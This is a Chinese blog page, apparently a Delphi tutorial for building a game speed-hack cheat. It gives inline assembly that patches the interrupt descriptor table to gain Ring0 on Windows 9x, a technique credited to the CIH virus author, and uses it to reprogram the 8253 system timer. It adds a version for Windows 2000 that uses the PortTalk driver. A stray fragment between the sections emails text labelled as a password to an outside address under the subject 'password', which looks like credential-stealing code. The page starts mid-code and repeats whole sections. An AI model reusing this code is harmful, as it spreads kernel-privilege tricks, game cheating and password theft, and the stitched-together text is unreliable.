IDT : array [0..5] of byte; // 保存IDT表
OG : dword; //存放旧向量
begin

asm
push ebx
sidt IDT //读入中断描述符表
mov ebx, dword ptr [IDT+2] //IDT表基地址
add ebx, 8*ZDH //计算中断在中断描述符表中的位置
cli //关中断
mov dx, word ptr [ebx+6]
shl edx, 16d
mov dx, word ptr [ebx]
mov [OG], edx
mov eax, offset @@Ring0 //指向Ring0级代码段
mov word ptr [ebx], ax //低16位,保存在1,2位
shr eax, 16d
mov word ptr [ebx+6], ax //高16位,保存在6,7位
int ZDH //中断
mov ebx, dword ptr [IDT+2] //重新定位
add ebx, 8*ZDH
mov edx, [OG]
mov word ptr [ebx], dx
shr edx, 16d
mov word ptr [ebx+6], dx //恢复被改了的向量
pop ebx
jmp @@exitasm //到exitasm处
@@Ring0: //Ring0,这个也是最最最核心的东东
mov al,$34 //写入8253控制寄存器
out $43,al
mov ax,value //写入定时值
out $40,al //写定时值低位
mov al,ah

out $40,al //写定时值高位
iretd //返回
@@exitasm:
end;
end;
最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!
先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。
在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。
1、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org
2、我们要把里面的prottalk.sys拷贝出来。
3、建立一个Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧)
4、实现加速外挂。
本来就篇就是补充篇原理我也不想讲太多了,下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。
1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。
2、我们在我们新建的工程加入我们的接口文件
uses



windows,ProtTalk……
3、我们建立一个过程
procedure SetRing(value:word);
begin
if not OpenPortTalk then exit;
outportb($43,$34);
outportb($40,lo(Value));
outprotb($40,hi(value));
ClosePortTalk;
end;

4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));







nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
nmsmtp1.SendMail; //发送邮件







2003-5-15 10:38:09



我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程序员合订本》中《“变速齿轮”研究手记》重新回味了一遍,才有了一点点开悟,随后用Delphi重写了一遍,下面我就把我的心得说给大家听听,并且在此感谢《“变速齿轮”研究手记》作者褚瑞大虲给了提示。废话我就不多说了,那就开始神奇的加速型外挂体验之旅吧!
原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。
以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改^_^),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDT表->创建一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~
在实现之前我们来理一下思路吧:
1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作
2、调用这个过程来实现加速功能
好了,现在思路有了,我们就边看代码边讲解吧:
首先我们建立一个过程,这个过程就是本程序的核心部份:
procedure SetRing(value:word); stdcall;
const ZDH = $03; // 设一个中断号
var
IDT : array [0..5] of byte; // 保存IDT表
OG : dword; //存放旧向量
begin

asm
push ebx
sidt IDT //读入中断描述符表
mov ebx, dword ptr [IDT+2] //IDT表基地址
add ebx, 8*ZDH //计算中断在中断描述符表中的位置
cli //关中断
mov dx, word ptr [ebx+6]
shl edx, 16d
mov dx, word ptr [ebx]
mov [OG], edx
mov eax, offset @@Ring0 //指向Ring0级代码段
mov word ptr [ebx], ax //低16位,保存在1,2位
shr eax, 16d
mov word ptr [ebx+6], ax //高16位,保存在6,7位
int ZDH //中断
mov ebx, dword ptr [IDT+2] //重新定位
add ebx, 8*ZDH
mov edx, [OG]
mov word ptr [ebx], dx
shr edx, 16d
mov word ptr [ebx+6], dx //恢复被改了的向量
pop ebx
jmp @@exitasm //到exitasm处
@@Ring0: //Ring0,这个也是最最最核心的东东
mov al,$34 //写入8253控制寄存器
out $43,al
mov ax,value //写入定时值
out $40,al //写定时值低位
mov al,ah

out $40,al //写定时值高位
iretd //返回
@@exitasm:
end;
end;
最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!
先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。
在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。
1、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org
2、我们要把里面的prottalk.sys拷贝出来。
3、建立一个Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧)
4、实现加速外挂。
本来就篇就是补充篇原理我也不想讲太多了,下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。
1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。
2、我们在我们新建的工程加入我们的接口文件
uses



windows,ProtTalk……
3、我们建立一个过程
procedure SetRing(value:word);
begin
if not OpenPortTalk then exit;
outportb($43,$34);
outportb($40,lo(Value));
outprotb($40,hi(value));
ClosePortTalk;
end;

4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

This page is powered by Blogger. Isn't yours?